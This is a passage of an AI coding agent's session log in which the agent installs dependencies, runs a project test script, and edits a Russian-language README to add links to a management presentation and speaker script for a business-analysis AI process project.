\"stop_details\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:44.671Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:44.671Z] [INFO]       \"cache_creation_input_tokens\": 2346,\n[2026-09-29T07:59:44.671Z] [INFO]       \"cache_read_input_tokens\": 64452,\n[2026-09-29T07:59:44.671Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:44.671Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:44.671Z] [INFO]         \"ephemeral_1h_input_tokens\": 2346\n[2026-09-29T07:59:44.671Z] [INFO]       },\n[2026-09-29T07:59:44.671Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:59:44.671Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:44.671Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:44.671Z] [INFO]     },\n[2026-09-29T07:59:44.671Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:44.671Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:44.671Z] [INFO]   },\n[2026-09-29T07:59:44.671Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:44.671Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"uuid\": \"427ac02b-b7b0-41af-905f-4fcf2bab7ff6\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:44.537Z\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"request_id\": \"req_011CfXNqnmqQdstf66hgPALo\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:44.671Z] [INFO]     \"toolu_01NjeQdBtZBBmdxTkrgk8qVP\": {\n[2026-09-29T07:59:44.671Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; (pip install -q -r requirements.txt >/tmp/pip.log 2>&1; bash tools/test-execution-package.sh >/tmp/tep.log 2>&1; echo \\\"exit $?\\\" >>/tmp/tep.log) & \\nsed -n 43,116p projects/ba-ai-process/README.md | grep -n 'docs\\\\|analysis\\\\|presentation'\",\n[2026-09-29T07:59:44.671Z] [INFO]       \"description\": \"Install deps in background, check README structure\"\n[2026-09-29T07:59:44.671Z] [INFO]     }\n[2026-09-29T07:59:44.671Z] [INFO]   }\n[2026-09-29T07:59:44.671Z] [INFO] }\n[2026-09-29T07:59:47.017Z] [INFO] {\n[2026-09-29T07:59:47.017Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"message\": {\n[2026-09-29T07:59:47.017Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:47.017Z] [INFO]     \"content\": [\n[2026-09-29T07:59:47.017Z] [INFO]       {\n[2026-09-29T07:59:47.017Z] [INFO]         \"tool_use_id\": \"toolu_01NjeQdBtZBBmdxTkrgk8qVP\",\n[2026-09-29T07:59:47.017Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:47.017Z] [INFO]         \"content\": \"37:\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n45:[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n52:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n54:[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n62:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n66:[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n69:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n71:[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\",\n[2026-09-29T07:59:47.017Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:47.017Z] [INFO]       }\n[2026-09-29T07:59:47.017Z] [INFO]     ]\n[2026-09-29T07:59:47.017Z] [INFO]   },\n[2026-09-29T07:59:47.017Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:47.017Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"uuid\": \"ffeec7d7-2718-4a8c-8cb5-891663fdc4b4\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:46.966Z\",\n[2026-09-29T07:59:47.017Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:47.017Z] [INFO]     \"stdout\": \"37:\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n45:[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n52:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n54:[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n62:[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 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[STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:48.369Z] [STDOUT]   \"request-id\": \"req_011CfXNrL71P4oGSgdUpTeWk\",\n[2026-09-29T07:59:48.372Z] [STDOUT]   \"traceresponse\": \"00-cc91768debcac6ff080649cad69876d1-93645fd83565a724-01\",\n[2026-09-29T07:59:48.376Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:48.379Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:48.384Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:48.386Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:48.391Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:48.393Z] [STDOUT]   \"cf-ray\": \"a429734fff0d5d90-FRA\",\n[2026-09-29T07:59:48.397Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:48.403Z] [STDOUT] [log_cd59f9] response parsed {\n[2026-09-29T07:59:48.408Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:48.412Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:48.417Z] [STDOUT]   body: X {\n[2026-09-29T07:59:48.419Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:48.423Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:48.427Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:48.430Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:48.439Z] [STDOUT]     },\n[2026-09-29T07:59:48.441Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:48.443Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:48.445Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:59:48.449Z] [STDOUT]   },\n[2026-09-29T07:59:48.453Z] [STDOUT]   durationMs: 899,\n[2026-09-29T07:59:48.458Z] [STDOUT] }\n[2026-09-29T07:59:51.945Z] [INFO] {\n[2026-09-29T07:59:51.945Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"message\": {\n[2026-09-29T07:59:51.945Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"id\": \"msg_011CfXNrLfjYuEVgskscQzeq\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:51.945Z] [INFO]     \"content\": [\n[2026-09-29T07:59:51.945Z] [INFO]       {\n[2026-09-29T07:59:51.945Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:59:51.945Z] [INFO]         \"id\": \"toolu_01MDZhx5sme2gnchYZt1SdiX\",\n[2026-09-29T07:59:51.945Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:59:51.945Z] [INFO]         \"input\": {\n[2026-09-29T07:59:51.945Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:59:51.945Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:51.945Z] [INFO]           \"old_string\": \"## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:51.945Z] [INFO]           \"new_string\": \"## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\n([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\\n\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\\n\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\\n\\n- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\\n  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\\n  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\\n- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\\n  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\\n  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\"\n[2026-09-29T07:59:51.945Z] [INFO]         },\n[2026-09-29T07:59:51.945Z] [INFO]         \"caller\": {\n[2026-09-29T07:59:51.945Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:59:51.945Z] [INFO]         }\n[2026-09-29T07:59:51.945Z] [INFO]       }\n[2026-09-29T07:59:51.945Z] [INFO]     ],\n[2026-09-29T07:59:51.945Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:51.945Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:51.945Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T07:59:51.945Z] [INFO]       \"cache_read_input_tokens\": 66798,\n[2026-09-29T07:59:51.945Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:51.945Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:51.945Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T07:59:51.945Z] [INFO]       },\n[2026-09-29T07:59:51.945Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:59:51.945Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:51.945Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:51.945Z] [INFO]     },\n[2026-09-29T07:59:51.945Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:51.945Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:51.945Z] [INFO]   },\n[2026-09-29T07:59:51.945Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:51.945Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"uuid\": \"4d7fc3eb-209b-4b08-afac-976e1b8596ad\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:51.906Z\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"request_id\": \"req_011CfXNrL71P4oGSgdUpTeWk\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:51.945Z] [INFO]     \"toolu_01MDZhx5sme2gnchYZt1SdiX\": {\n[2026-09-29T07:59:51.945Z] [INFO]       \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:51.945Z] [INFO]       \"old_string\": \"## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:51.945Z] [INFO]       \"new_string\": \"## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\n([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\\n\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\\n\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\\n\\n- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\\n  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\\n  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\\n- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\\n  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\\n  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\"\n[2026-09-29T07:59:51.945Z] [INFO]     }\n[2026-09-29T07:59:51.945Z] [INFO]   }\n[2026-09-29T07:59:51.945Z] [INFO] }\n[2026-09-29T07:59:52.260Z] [INFO] {\n[2026-09-29T07:59:52.260Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"message\": {\n[2026-09-29T07:59:52.260Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"content\": [\n[2026-09-29T07:59:52.260Z] [INFO]       {\n[2026-09-29T07:59:52.260Z] [INFO]         \"tool_use_id\": \"toolu_01MDZhx5sme2gnchYZt1SdiX\",\n[2026-09-29T07:59:52.260Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:52.260Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md has been updated successfully.\"\n[2026-09-29T07:59:52.260Z] [INFO]       }\n[2026-09-29T07:59:52.260Z] [INFO]     ]\n[2026-09-29T07:59:52.260Z] [INFO]   },\n[2026-09-29T07:59:52.260Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:52.260Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"uuid\": \"53bbcd18-7640-44dc-9b4b-6be9a2e82a00\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:52.197Z\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:52.260Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"oldString\": \"## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"newString\": \"## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\n([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\\n\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\\n\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\\n\\n- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\\n  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\\n  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\\n- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\\n  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\\n  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"originalFile\": \"---\\nstatus: canonical\\nversion: 1.6\\nupdated: 2026-09-28\\ntemperature: 0.1\\nscope: mango-only\\ntype: research\\n---\\n\\n# BA AI Process \u2014 Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 **\u00ab\u043a\u0430\u043a \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e\\n\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044f MANGO \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445\u00bb**: \u043a\u0430\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u0438 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0435\\n\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u0443. GigaCode CLI \u2014 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430; Cline \u0441 Mango AI\\n\u0438 Qwen Chat \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0438\u043b\u043e\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u043f\u043e\\n[issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615).\\n\\n\u042d\u0442\u043e **\u0434\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432**, \u0430 \u043d\u0435 \u043e\u0431\u0449\u0430\u044f \u0440\u0430\u043c\u043a\u0430. \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0441\u0443\u0442\\n`scope: mango-only`. \u0417\u0434\u0435\u0441\u044c `mango-only` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 **\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\\nMANGO** (\u0432\u0441\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0441\u043d\u0438\u043c\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438), \u0430 \u043d\u0435 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439\\n\u0434\u0440\u0443\u0433\u043e\u0439 